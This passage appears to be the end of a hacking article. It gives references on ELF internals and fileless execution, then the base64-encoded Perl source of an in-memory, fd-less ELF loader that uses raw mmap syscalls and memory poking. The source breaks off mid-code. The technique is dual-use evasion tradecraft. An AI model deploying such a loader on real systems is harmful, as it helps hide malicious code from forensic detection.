+[1] https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
+[2] https://sandflysecurity.com/blog/detecting-linux-memfd-create-fileless-malware-with-command-line-forensics/
+[3] https://perldoc.perl.org/functions/pack
+[4] https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html
+[5] https://refspecs.linuxbase.org/elf/gabi4+/ch4.sheader.html
+[6] https://refspecs.linuxbase.org/elf/gabi4+/ch4.symtab.html
+[7] https://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html
+[8] https://github.com/lampmanyao/readelf/blob/master/readelf.pl
+[9] https://blog.cloudflare.com/how-to-execute-an-object-file-part-1/
+[10] https://man7.org/linux/man-pages/man2/mmap.2.html
+[11] https://gist.github.com/monoxgas/c0b0f086fc7aa057a8256b42c66761c8
+[12] https://perldoc.perl.org/perlguts
+[13] https://awarenetwork.org/etc/aware.ezine.1.alpha.txt
+[14] https://man7.org/linux/man-pages/man2/mprotect.2.html
+[15] https://blog.cloudflare.com/how-to-execute-an-object-file-part-2/
+[16] https://blog.cloudflare.com/how-to-execute-an-object-file-part-3/
+[17] https://perldoc.perl.org/DynaLoader
+[18] https://shanetully.com/2013/12/writing-a-self-mutating-x86_64-c-program/
+[19] https://hckng.org/articles/perlhacking-I-peek-poke-xsub.html
+
+====[ source code ]=============================================================
+
+IyEvdXNyL2Jpbi9wZXJsCiMgZXhlY19lbGY2NC5wbAojIHdyaXR0ZW4gYnkgaXNyYSAtIGlzcmEg
+X3JlcGxhY2VfYnlfQF8gZmFzdG1haWwubmV0IC0gaHR0cHM6Ly9oY2tuZy5vcmcKIwojIGh0dHBz
+Oi8vZ2l0LnNyLmh0L35oY2tuZy9lbGYvdHJlZS9tYXN0ZXIvaXRlbS9leGVjX2VsZjY0LnBsCiMg
+aHR0cHM6Ly9naXRodWIuY29tL2lsdi9lbGYvYmxvYi9tYWluL2V4ZWNfZWxmNjQucGwKIyAKIyB2
+ZXJzaW9uIDAuMSAtIDIwMjMKIwojIGluLW1lbW9yeS1vbmx5IGZkLWxlc3MgRUxGIGV4ZWN1dGlv
+bjoKIwojICAtIHJlYWQsIHBhcnNlLCBtYXAsIGFuZCBleGVjdXRlIGEgaGFyZGNvZGVkIEVMRiB4
+NjQgb2JqZWN0CiMgIC0gc3VwcG9ydHMgcmVsb2NhdGlvbiBhbmQgZXh0ZXJuYWwgc3ltYm9scyAo
+ZnJvbSBnbGliYykKIyAgLSB1c2VzIFBlcmwgdjUuMDA4MDAxIG9yIGhpZ2hlcgojICAtIG9ubHkg
+c3RhbmRhcmQgbW9kdWxlcyBhcmUgdXNlZAojCiMgdG8gcnVuOgojICAgICAkIHBlcmwgZXhlY19l
+bGY2NC5wbAojCiMgb3IgKGZ1bGwgZmQtbGVzcyk6CiMgICAgICQgZWNobyBCQVNFNjRfRU5DT0RF
+RF9DT05URU5UIHwgYmFzZTY0IC1kIHwgcGVybAojCiMgdGhhbmtzIHRvIHRtcDB1dCBhbmQgdnh1
+ZyBmb3IgYWxsIHRoZSByZXNvdXJjZXMKIwoKCnVzZSBEeW5hTG9hZGVyOwojdXNlIERldmVsOjpQ
+ZWVrOwp1c2UgNS4wMDgwMDE7ICMgYmVjYXVzZSA1LjYgZG9lc24ndCBoYXZlIEI6OlBWOjpvYmpl
+Y3RfMnN2cmVmCnVzZSBDb25maWc7CnVzZSBCICgpOyAjIGZvciBCOjpQVgp1c2Ugc3RyaWN0OwoK
+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyByZWFkIGVsZgojIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+CgpzdWIgcmVhZF9lbGYgewogICAgIyB1bmNvbW1lbnQgYmVsb3cgdG8gb3BlbiBFTEYgYXMgYSBy
+ZWd1bGFyIGZpbGUKICAgICNteSAkaW4gPSBwb3AgKEBBUkdWKTsKICAgICNteSAkY29kZSA9ICIi
+OwoKICAgICNvcGVuIG15ICRmaCwgJzw6cmF3JywgJGluOwogICAgIyRjb2RlIC49ICRfIHdoaWxl
+KDwkZmg+KTsKICAgICNjbG9zZSAkZmg7CgogICAgI29wZW4gbXkgJGZoLCAnPDpyYXcnLCAkaW47
+CgogICAgbXkgJGNvZGUgPSBnZXRfY29kZSgpOwogICAgb3BlbiBteSAkZmgsICc8OnJhdycsIFwk
+Y29kZTsKCiAgICByZXR1cm4gKCRjb2RlLCAkZmgpOwp9CgoKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IwojIHBhcnNlIGVsZiB4NjQKIyByZWZlcmVuY2U6IGh0dHBzOi8vZ2l0aHViLmNvbS9sYW1wbWFu
+eWFvL3JlYWRlbGYvYmxvYi9tYXN0ZXIvcmVhZGVsZi5wbAojIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+CgojIyMjIyMjIGdsb2JhbCB2YXJpYWJsZXMgIyMjIyMjIwoKIyBhcnJheXMgZm9yIHNlY3Rpb24g
+aGVhZGVyIHRhYmxlLCBzeW1ib2wgaGVhZGVyIHRhYmxlLCByZWxvY2F0aW9ucwpteSAoQHNodGFi
+LCBAc3ltdGFiLCBAcmVsb2NzKTsKIyBoYXNoZXMgZm9yIGVsZiBoZWFkZXIsIHN0cmluZyB0YWJs
+ZSwgZXh0ZXJuYWwgc3ltYm9scywgZnVuY3Rpb25zCm15ICglZWhkciwgJXN0cnRhYiwgJWV4dHN5
+bSwgJWZ1bmNzKTsKCiMgaW5kZXhlcyBmb3IgcmVsZXZhbnQgc2VnbWVudHMgb24gdGhlIHNlY3Rp
+b24gaGVhZGVyIHRhYmxlCm15ICgkdGV4dF9uZHgsICRkYXRhX25keCwgJHJvZGF0YV9uZHgsICRz
+eW10YWJfbmR4LCAkcmVsYXRleHRfbmR4KTsKCiMgbnVtYmVyIG9mIGV4dGVybmFsIHN5bWJvbHMK
+bXkgJG51bV9leHRzeW0gPSAwOwoKIyBzaGFyZWQgbGlicmFyeSB0byBsb29rdXAgZXh0ZXJuYWwg
+c3ltYm9scwojIG9ubHkgZ2xpYmMgZm9yIG5vdwpteSAkbGliY19wYXRoID0gIi91c3IvbGliL3g4
+Nl82NC1saW51eC1nbnUvbGliYy5zby42IjsKbXkgJGxpYnJlZiA9IER5bmFMb2FkZXI6OmRsX2xv
+YWRfZmlsZSgkbGliY19wYXRoLCAweDAxKTsKCiMgZWxmIGZpbGUgaGFuZGxlcgpteSAkZWZoOwoK
+IyMjIyMjIyBrZXlzIGZvciByZWxldmFudCBoYXNoZXMgIyMjIyMjIwoKIyBlbGYgaGVhZGVyIGtl
+eXMKbXkgQGVfa2V5cyA9ICgKICAgICdlaV9tYWcwJywgJ2VpX21hZzEnLCAnZWlfbWFnMicsICdl
+aV9tYWczJywgJ2VpX2NsYXNzJywgJ2VpX2RhdGEnLCAKICAgICdlaV92ZXJzaW9uJywgJ2VpX29z
+YWJpJywgJ2VpX2FiaXZlcnNpb24nLCAjZWlfcGFkIGlnbm9yZWQKICAgICdlX3R5cGUnLCAnZV9t
+YWNoaW5lJywgJ2VfdmVyc2lvbicsICdlX2VudHJ5JywgJ2VfcGhvZmYnLCAnZV9zaG9mZicsCiAg
+ICAnZV9mbGFncycsICdlX2Voc2l6ZScsICdlX3BoZW50c2l6ZScsICdlX3BobnVtJywgJ2Vfc2hl
+bnRzaXplJywgJ2Vfc2hudW0nLAogICAgJ2Vfc2hzdHJuZHgnCik7CgojIHNlY3Rpb24gaGVhZGVy
+IGtleXMKbXkgQHNoX2tleXMgPSAoCiAgICAnc2hfbmFtZScsICdzaF90eXBlJywgJ3NoX2ZsYWdz
+JywgJ3NoX2FkZHInLCAnc2hfb2Zmc2V0JywgJ3NoX3NpemUnLAogICAgJ3NoX2xpbmsnLCAnc2hf
+aW5mbycsICdzaF9hZGRyYWxpZ24nLCAnc2hfZW50c2l6ZScKKTsKCiMgc3ltYm9sIHRhYmxlIGtl
+eXMKbXkgQHN0X2tleXMgPSAoCiAgICAnc3RfbmFtZScsICdzdF9pbmZvJywgJ3N0X290aGVyJywg
+J3N0X3NobmR4JywgJ3N0X3ZhbHVlJywgJ3N0X3NpemUnCik7CgojIHJlbG9jYXRpb25zIGtleXMK
+bXkgQHJfa2V5cyA9ICgncl9vZmZzZXQnLCAncl9pbmZvJywgJ3JfYWRkZW5kJyk7CgoKIyMjIyMj
+IyBhdXhpbGlhcnkgc3Vicm91dGluZXMgIyMjIyMjIwoKIyByZWFkICYgdW5wYWNrIGJpbmFyeSBj
+b250ZW50CnN1YiBydSB7CiAgICBteSAkZmggID0gc2hpZnQ7CiAgICBteSAkdHBsID0gc2hpZnQ7
+CiAgICBteSAkc3ogID0gc2hpZnQ7CgogICAgcmVhZCAkZmgsIG15ICRidWZmLCAkc3o7CiAgICBy
+ZXR1cm4gdW5wYWNrKCR0cGwsICRidWZmKTsKfQoKIyBtYWtlIGhhc2ggdG8gZWFzaWx5IGhhbmRs
+ZSB2YXJpb3VzIGhlYWRlcnMgCnN1YiBta19oYXNoIHsKICAgIG15ICRoYXNocmVmID0gc2hpZnQ7
+CiAgICBteSAka2V5c3JlZiA9IHNoaWZ0OwogICAgbXkgJHZhbHNyZWYgPSBzaGlmdDsKCiAgICBm
+b3IobXkgJGkgPSAwOyAkaSA8IEB7JGtleXNyZWZ9OyAkaSsrKSB7CiAgICAgICAgJGhhc2hyZWYt
+Pnska2V5c3JlZi0+WyRpXX0gPSAkdmFsc3JlZi0+WyRpXTsKICAgIH0KfQoKIyBwYXJzZSBlbGYg
+aGVhZGVyCiMgc2VlIGh0dHBzOi8vcmVmc3BlY3MubGludXhmb3VuZGF0aW9uLm9yZy9lbGYvZ2Fi
+aTQrL2NoNC5laGVhZGVyLmh0bWwKc3ViIHBhcnNlX2VoZHIgewogICAgbXkgQGhkciA9IHJ1KCRl
+ZmgsICJDIGEgYSBhIEMgQyBDIEMgQyB4NyBTIFMgSSBxIHEgcSBJIFMgUyBTIFMgUyBTIiwgMHg0
+MCk7CiAgICBta19oYXNoKFwlZWhkciwgXEBlX2tleXMsIFxAaGRyKTsKfQoKIyBwYXJzZSBzZWN0
+aW9uIGhlYWRlciB0YWJsZQojIHNlZSBodHRwczovL3JlZnNwZWNzLmxpbnV4YmFzZS5vcmcvZWxm
+L2dhYmk0Ky9jaDQuc2hlYWRlci5odG1sCnN1YiBwYXJzZV9zaHRhYiB7CiAgICBzZWVrICRlZmgs
+ICRlaGRyeydlX3Nob2ZmJ30sICJTRUVLX1NFVCI7IAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwg
+JGVoZHJ7J2Vfc2hudW0nfTsgJGkrKykgewogICAgICAgIG15ICVzaDsKICAgICAgICBteSBAaGRy
+ID0gcnUoJGVmaCwgIkkgSSBxIHEgcSBxIEkgSSBxIHEiLCAkZWhkcnsnZV9zaGVudHNpemUnfSk7
+CiAgICAgICAgbWtfaGFzaChcJXNoLCBcQHNoX2tleXMsIFxAaGRyKTsKICAgICAgICBwdXNoIEBz
+aHRhYiwgXCVzaDsKCiAgICAgICAgIyByZWFkIGNvbnRlbnQgb2Ygc2VjdGlvbiBoZWFkZXIgZW50
+cnkgb2YgdHlwZSAnU1RSVEFCJwogICAgICAgIGlmKCRzaHsnc2hfdHlwZSd9ID09IDMpIHsKICAg
+ICAgICAgICAgbXkgJHRtcHN0cjsKICAgICAgICAgICAgbXkgJGN1cnJfb2Zmc2V0ID0gdGVsbCAk
+ZWZoOwogICAgICAgICAgICBzZWVrICRlZmgsICRzaHsnc2hfb2Zmc2V0J30sICJTRUVLX1NFVCI7
+CiAgICAgICAgICAgIHJlYWQgJGVmaCwgJHRtcHN0ciwgJHNoeydzaF9zaXplJ307CiAgICAgICAg
+ICAgIHNlZWsgJGVmaCwgJGN1cnJfb2Zmc2V0LCAiU0VFS19TRVQiOwogICAgICAgICAgICAkc3Ry
+dGFieyRzaHsnc2hfb2Zmc2V0J319ID0gJHRtcHN0cjsKICAgICAgICB9CiAgICB9Cn0KCiMgZ2V0
+IHNlY3Rpb24gbmFtZQpzdWIgc2VjbmFtZSB7CiAgICBteSAkbmR4ID0gc2hpZnQ7CiAgICBteSAk
+c3RyID0gc2hpZnQ7CgogICAgbXkgJHMgPSBzdWJzdHIoJHN0ciwgJG5keCk7CiAgICBteSAkciA9
+IHN1YnN0cigkcywgMCwgaW5kZXgoJHMsICJcMCIpKTsKfQoKIyBwYXJzZSBzZWN0aW9uIG5hbWVz
+IGZyb20gc3RyaW5nIHRhYmxlCnN1YiBwYXJzZV9zZWNuYW1lcyB7CiAgICBteSAkc2hzdHJ0YWIg
+PSAkc2h0YWJbJGVoZHJ7J2Vfc2hzdHJuZHgnfV07CiAgICBmb3IobXkgJGkgPSAwOyAkaSA8ICRl
+aGRyeydlX3NobnVtJ307ICRpKyspIHsKICAgICAgICBteSAkbmFtZSA9IHNlY25hbWUoCiAgICAg
+ICAgICAgICRzaHRhYlskaV17J3NoX25hbWUnfSwgCiAgICAgICAgICAgICRzdHJ0YWJ7JHNoc3Ry
+dGFiLT57J3NoX29mZnNldCd9fQogICAgICAgICk7CiAgICAgICAgIyBhZGQgJ25hbWUnIHRvIGVh
+Y2ggc2VjdGlvbiBoZWFkZXIgZW50cnkKICAgICAgICAkc2h0YWJbJGldeyduYW1lJ30gPSAkbmFt
+ZTsKCiAgICAgICAgIyBzYXZlIGluZGV4ZXMgZm9yIGVhc2llciBhY2Nlc3MgdG8gcmVsZXZhbnQg
+c2VnbWVudHMKICAgICAgICAkdGV4dF9uZHggICAgICAgPSAkaSBpZigkbmFtZSBlcSAnLnRleHQn
+KTsKICAgICAgICAkZGF0YV9uZHggICAgICAgPSAkaSBpZigkbmFtZSBlcSAnLmRhdGEnKTsKICAg
+ICAgICAkc3ltdGFiX25keCAgICAgPSAkaSBpZigkbmFtZSBlcSAnLnN5bXRhYicpOwogICAgICAg
+ICRyb2RhdGFfbmR4ICAgICA9ICRpIGlmKCRuYW1lIGVxICcucm9kYXRhJyk7CiAgICAgICAgJHJl
+bGF0ZXh0X25keCAgID0gJGkgaWYoJG5hbWUgZXEgJy5yZWxhLnRleHQnKTsKICAgIH0KfQoKIyBw
+YXJzZSBzeW1ib2wgdGFibGUKIyBzZWUgaHR0cHM6Ly9yZWZzcGVjcy5saW51eGJhc2Uub3JnL2Vs
+Zi9nYWJpNCsvY2g0LnN5bXRhYi5odG1sCnN1YiBwYXJzZV9zeW10YWIgewogICAgbXkgJHN5bXRh
+YiAgICAgID0gJHNodGFiWyRzeW10YWJfbmR4XTsKICAgIG15ICRzaF9saW5rICAgICA9ICRzaHRh
+Ylskc3ltdGFiLT57J3NoX2xpbmsnfV07CiAgICBteSAkbnVtX2VudHJ5ICAgPSAkc3ltdGFiLT57
+J3NoX3NpemUnfS8kc3ltdGFiLT57J3NoX2VudHNpemUnfTsKCiAgICBteSAkY3Vycl9maWxlX29m
+ZnNldCA9IHRlbGwgJGVmaDsKICAgIHNlZWsgJGVmaCwgJHN5bXRhYi0+eydzaF9vZmZzZXQnfSwg
+IlNFRUtfU0VUIjsKICAgIGZvciAobXkgJGkgPSAwOyAkaSA8ICRudW1fZW50cnk7ICRpKyspIHsK
+ICAgICAgICBteSAlc3ltOwogICAgICAgIG15IEBoZHIgPSBydSgkZWZoLCAiSSBDIEMgUyBxIHEi
+LCAkc3ltdGFiLT57J3NoX2VudHNpemUnfSk7CiAgICAgICAgbWtfaGFzaChcJXN5bSwgXEBzdF9r
+ZXlzLCBcQGhkcik7CgogICAgICAgIG15ICR0eXBlID0gJHN5bXsnc3RfaW5mbyd9ICYgMHgwZjsK
+ICAgICAgICBteSAkbmFtZSA9IHNlY25hbWUoCiAgICAgICAgICAgICRzeW17J3N0X25hbWUnfSwg
+CiAgICAgICAgICAgICRzdHJ0YWJ7JHNoX2xpbmstPnsnc2hfb2Zmc2V0J319CiAgICAgICAgKTsK
+ICAgICAgICAjIGFkZCAnbmFtZScgdG8gZWFjaCBzeW1ib2wgCiAgICAgICAgJHN5bXsnbmFtZSd9
+ID0gJG5hbWU7CiAgICAgICAgcHVzaCBAc3ltdGFiLCBcJXN5bTsKCiAgICAgICAgIyBzYXZlIHN0
+X3ZhbHVlIG9mIHN5bWJvbHMgb2YgdHlwZSAnRlVOQycKICAgICAgICAkZnVuY3N7JG5hbWV9ID0g
+JHN5bXsnc3RfdmFsdWUnfSBpZigkdHlwZSA9PSAyKTsKICAgIH0KICAgIHNlZWsgJGVmaCwgJGN1
+cnJfZmlsZV9vZmZzZXQsICJTRUVLX1NFVCI7Cn0KCiMgcGFyc2UgcmVsb2NhdGlvbnMKIyBzZWUg
+aHR0cHM6Ly9yZWZzcGVjcy5saW51eGJhc2Uub3JnL2VsZi9nYWJpNCsvY2g0LnJlbG9jLmh0bWwK
+c3ViIHBhcnNlX3JlbG9jcyB7CiAgICBteSAkcnQgPSAkc2h0YWJbJHJlbGF0ZXh0X25keF07CiAg
+ICBteSAkZW50cnlfbnVtID0gJHJ0LT57J3NoX3NpemUnfS8kcnQtPnsnc2hfZW50c2l6ZSd9OwoK
+ICAgIG15ICRjdXJyX2ZpbGVfb2Zmc2V0ID0gdGVsbCAkZWZoOwogICAgc2VlayAkZWZoLCAkcnQt
+Pnsnc2hfb2Zmc2V0J30sICJTRUVLX1NFVCI7CiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAkZW50
+cnlfbnVtOyAkaSsrKSB7CiAgICAgICAgbXkgJXI7CiAgICAgICAgbXkgQGhkciA9IHJ1KCRlZmgs
+ICJxIFEgaSIsICRydC0+eydzaF9lbnRzaXplJ30pOwogICAgICAgIG1rX2hhc2goXCVyLCBcQHJf
+a2V5cywgXEBoZHIpOwoKICAgICAgICAjIDQgYnl0ZXMgb24gbGl0dGxlIGVuZGlhbiBvcmRlciAK
+ICAgICAgICBteSAkc3ltX25keCA9IHVucGFjaygiViIsIHBhY2soIk4iLCAkcnsncl9pbmZvJ30g
+Pj4gOCkpOwogICAgICAgICMgbG93LW9yZGVyIGJpdHMgb25seQogICAgICAgIG15ICR0eXBlID0g
+JHJ7J3JfaW5mbyd9ICYgMHgwZjsgCiAgICAgICAgbXkgJHN5bV9uYW1lID0gJHN5bXRhYlskc3lt
+X25keF17J25hbWUnfTsKICAgICAgICBteSAkc3ltX3NobmR4ID0gJHN5bXRhYlskc3ltX25keF17
+J3N0X3NobmR4J307CgogICAgICAgICRyeyd0eXBlJ30gPSAkdHlwZTsKICAgICAgICAkcnsnc3lt
+bmR4J30gPSAkc3ltX25keDsKICAgICAgICBwdXNoIEByZWxvY3MsIFwlcjsKCiAgICAgICAgIyBz
+YXZlIGV4dGVybmFsIHN5bWJvbHMgKHN0X3NobmR4IG9mIHR5cGUgJ1VORCcpCiAgICAgICAgIyB0
+aGUgbnVtX2V4dHN5bSBjb3VudGVyIGlzIHVzZWQgbGF0ZXIgZm9yIGxvb2t1cCBpbiBhICdqdW1w
+IHRhYmxlJwogICAgICAgICRleHRzeW17JHN5bV9uYW1lfSA9ICRudW1fZXh0c3ltKysgaWYoJHN5
+bV9zaG5keCA9PSAwKTsKICAgIH0KICAgIHNlZWsgJGVmaCwgJGN1cnJfZmlsZV9vZmZzZXQsICJT
+RUVLX1NFVCI7Cn0KCiMgZ2x1ZSBpdCBhbGwgdG9nZXRoZXIKc3ViIHBhcnNlX2VsZiB7CiAgICBt
+eSAkZmggPSBzaGlmdDsKICAgICRlZmggPSAkZmg7CiAgICAKICAgIHBhcnNlX2VoZHIoKTsKICAg
+IHBhcnNlX3NodGFiKCk7CiAgICBwYXJzZV9zZWNuYW1lcygpOwogICAgcGFyc2Vfc3ltdGFiKCk7
+CiAgICBwYXJzZV9yZWxvY3MoKTsKfQoKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBwZWVrICYg
+cG9rZSAKIwojIG9yaWdpbmFsIGNvZGUgYnkgTmljayBMYW5kZXJzCiMgaHR0cHM6Ly9naXN0Lmdp
+dGh1Yi5jb20vbW9ub3hnYXMvYzBiMGYwODZmYzdhYTA1N2E4MjU2YjQyYzY2NzYxYzgKIwojIGFk
+YXB0ZWQgZm9yIExpbnV4IHg2NCBieSBpc3JhCiMgbW9zdCBvZiB0aGUgY29tbWVudHMgYXJlIGZy
+b20gdGhlIG9yaWdpbmFsIGF1dGhvcgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgojIHBhY2sgdmFs
+dWUgaW50byBhbiB1bnNpZ25lZCBxdWFsIHZhbHVlIChmb3IgbWVtb3J5IGFkZHJlc3NlcykKc3Vi
+IF9wYWNrX2FkZHJlc3MgewogICAgbXkgJHAgPSBwYWNrKCJRIiwgJF9bMF0pOwogICAgcmV0dXJu
+ICRwOwp9CgojIGNvbnZlcnQgdmFsdWUgaW50byBhIFN2UFYKc3ViIHBlZWsgewogICAgdW5wYWNr
+ICJQJF9bMV0iLCBfcGFja19hZGRyZXNzKCRfWzBdKTsKfQoKIyBjb3B5ICRieXRlcyBvZiBsZW5n
+dGggJGxlbiBpbnRvIGFkZHJlc3MgJGxvY2F0aW9uCnN1YiBwb2tlIHsKICAgIG15KCRsb2NhdGlv
+biwgJGJ5dGVzLCAkbGVuKSA9IEBfOwogICAgbXkgJGFkZHIgPSBfcGFja19hZGRyZXNzKCRsb2Nh
+dGlvbik7CiAgICAjIGNvbnN0cnVjdCBhIEI6OlBWIG9iamVjdCwgYmFja2VkIGJ5IGEgU1YvU3ZQ
+ViB0byBhIGR1bW15IHN0cmluZyAKICAgICMgbGVuZ3RoKCRieXRlcykgbG9uZywgYW5kIHN1YnN0
+aXR1dGUgJGxvY2F0aW9uIGFzIHRoZSBhY3R1YWwgc3RyaW5nCiAgICAjIHN0b3JhZ2Ugd2Ugc3Bl
+Y2lmaWNhbGx5IHVzZSB0aGUgc2FtZSBsZW5ndGggc28gd2UgZG8gbm90IGhhdmUgdG8KICAgICMg
+ZGVhbCB3aXRoIHJlc2l6aW5nCiAgICBteSAkZHVtbXkgPSAnWCcgeCAkbGVuOwogICAgbXkgJGR1
+bW15X2FkZHIgPSBcJGR1bW15ICsgMDsKICAgIG15ICRnaG9zdF9zdl9jb250ZW50cyA9IHBlZWso
+JGR1bW15X2FkZHIsIDggKyA0ICsgNCArICRDb25maWd7aXZzaXplfSk7CgoKICAgIHN1YnN0cigg
+JGdob3N0X3N2X2NvbnRlbnRzLCA4ICsgNCArIDQsIDggKSA9ICRhZGRyOyAgICAKCiAgICBteSAk
+Z2hvc3Rfc3RyaW5nX3JlZiA9IGJsZXNzKCBcIHVucGFjaygKICAgICAgICAiUSIsCiAgICAgICAg
+IyBpdCdzIGNydWNpYWwgdG8gY3JlYXRlIGEgY29weSBvZiAkc3ZfY29udGVudHMsIGFuZCB3b3Jr
+IHdpdGggYQogICAgICAgICMgdGVtcG9yYXJ5IG1lbW9yeSBsb2NhdGlvbi4gT3RoZXJ3aXNlIHBl
+cmwgbWVtb3J5IGFsbG9jYXRpb24gd2lsbAogICAgICAgICMga2ljayBpbiBhbmQgd3JlYWsgY29u
+c2lkZXJhYmxlIGhhdm9jIGN1bG1pbmF0aW5nIHdpdGggYW4gaW5ldml0YWJsZQogICAgICAgICMg
+c2VnZmF1bHQKICAgICAgICBkbyB7IG5vIHdhcm5pbmdzICdwYWNrJzsgcGFjayggJ1AnLCAkZ2hv
+c3Rfc3ZfY29udGVudHMuJycgKSB9LAogICAgKSwgJ0I6OlBWJyApLT5vYmplY3RfMnN2cmVmOwog
+ICAgIyBub3cgd2hlbiB3ZSB3cml0ZSB0byB0aGUgbmV3bHkgY3JlYXRlZCAic3RyaW5nIiB3ZSBh
+cmUgYWN0dWFsbHkgd3JpdGluZwogICAgIyB0byAkbG9jYXRpb24uIG5vdGUgd2UgSEFWRSB0byB1
+c2UgbHZhbHVlIHN1YnN0ciAtIGEgcGxhaW4gYXNzaWdubWVudCB3aWxsCiAgICAjIGFkZCBhIFww
+CiAgICAjCiAgICAjIEFsc28gaW4gb3JkZXIgdG8ga2VlcCB0aHJlYWRpbmcgb24gcGVybCA1Ljgu
+eCBoYXBweSB3ZSAqaGF2ZSogdG8gcGVyZm9ybQogICAgIyB0aGlzIGluIGEgc3RyaW5nIGV2YWwu
+IEkgZG9uJ3QgaGF2ZSB0aGUgc2xpZ2h0ZXN0IGlkZWEgd2h5IDopICAgIAogICAgZXZhbCAnc3Vi
+c3RyKCQkZ2hvc3Rfc3RyaW5nX3JlZiwgMCwgJGxlbikgPSAkYnl0ZXMnOwogICAgcmV0dXJuICRs
+ZW47Cn0KCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgbWFwIGVsZiB4NjQKIwojIHJlZmVyZW5j
+ZXM6CiMgIC0gaHR0cHM6Ly9ibG9nLmNsb3VkZmxhcmUuY29tL2hvdy10by1leGVjdXRlLWFuLW9i
+amVjdC1maWxlLXBhcnQtMS8KIyAgLSBodHRwczovL2Jsb2cuY2xvdWRmbGFyZS5jb20vaG93LXRv
+LWV4ZWN1dGUtYW4tb2JqZWN0LWZpbGUtcGFydC0yLwojICAtIGh0dHBzOi8vYmxvZy5jbG91ZGZs
+YXJlLmNvbS9ob3ctdG8tZXhlY3V0ZS1hbi1vYmplY3QtZmlsZS1wYXJ0LTMvIAojIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjCgojIDRLIHBhZ2VzIApzdWIgcGFnZV9hbGlnbiB7CiAgICBteSAkbiA9IHNo
+aWZ0OwogICAgcmV0dXJuICgkbiArICg0MDk2IC0gMSkpICYgfig0MDk2IC0gMSk7Cn0KCiMgbWVt
+b3J5IG1hcApzdWIgbW1hcCB7CiAgICAjIHN5c2NhbGwgbnVtYmVyIGZvciBtbWFwIGlzIDkgb24g
+TGludXggeDg2XzY0CiAgICAjICRhZGRyIGNhbiBiZSBhIGZpeGVkIHZhbHVlLCBvciAwIHRvIGxl
+dCBtbWFwIGNob29zZSBvbmUKICAgICMgaXQgcmV0dXJucyBhIHBvaW50ZXIgdG8gdGhlIG1hcHBl
+ZCBhcmVhIG9uIHN1Y2Nlc3MsIC0xIG9uIGZhaWx1cmUKICAgIG15ICgkYWRkciwgJHNpemUsICRw
+cm90ZWN0LCAkZmxhZ3MpID0gQF87CiAgICBteSAkcmV0ID0gc3lzY2FsbCg5LCAkYWRkciwgJHNp
+emUsICRwcm90ZWN0LCAkZmxhZ3MsIC0xLCAwKTsKICAgIHJldHVybiAkcmV0Owp9CgojIG1lbW9y
+eSBwcm90ZWN0CnN1YiBtcHJvdGVjdCB7CiAgICAjIGl0IHJldHVybnMgMCBvbiBzdWNjZXNzLCAt
+MSBvbiBmYWlsdXJlCiAgICBteSAoJGFkZHIsICRzaXplLCAkcHJvdGVjdCkgPSBAXzsKICAgIG15
+ICRyZXQgPSBzeXNjYWxsKDEwLCAkYWRkciwgJHNpemUsICRwcm90ZWN0KTsKICAgIHJldHVybiAk
+cmV0Owp9CgojIGNhbGN1bGF0ZSBhbmQgYXBwbHkgcmVsb2NhdGlvbnMKc3ViIGRvX3JlbG9jcyB7
+CiAgICAjIHBvaW50ZXJzIHRvIG1hcHBlZCBzZWdtZW50cyBhbmQgJ2p1bXAgdGFibGUnCiAgICBt
+eSAkdGV4dF9wdHIgICAgPSBzaGlmdDsKICAgIG15ICRkYXRhX3B0ciAgICA9IHNoaWZ0OwogICAg
+bXkgJHJvZGF0YV9wdHIgID0gc2hpZnQ7CiAgICBteSAkam1wdGFiX3B0ciAgPSBzaGlmdDsKICAg
+IG15ICRydCAgICAgICAgICA9ICRzaHRhYlskcmVsYXRleHRfbmR4XTsKICAgIG15ICRudW1fcmVs
+b2NzICA9ICRydC0+eydzaF9zaXplJ30vJHJ0LT57J3NoX2VudHNpemUnfTsKIAogICAgZm9yICht
+eSAkaSA9IDA7ICRpIDwgJG51bV9yZWxvY3M7ICRpKyspIHsKICAgICAgICAjIHdoZXJlIHRvIHBh
+dGNoIC50ZXh0IAogICAgICAgIG15ICRzeW1fbmR4ID0gJHJlbG9jc1skaV17J3N5bW5keCd9Owog
+ICAgCiAgICAgICAgIyBzeW1ib2wgYW5kIHNlY3Rpb24gd2l0aCByZXNwZWN0IHRvIHdoaWNoIHRo
+ZSByZWxvY2F0aW9uIGlzIHBlcmZvcm1lZAogICAgICAgICMgZXh0ZXJuYWwgc3ltYm9scyBhcmUg
+aWRlbnRpZmllZCBieSBzdF9zaG5keCA9PSAwICh0eXBlIFVORCkKICAgICAgICBteSAkc3ltX25h
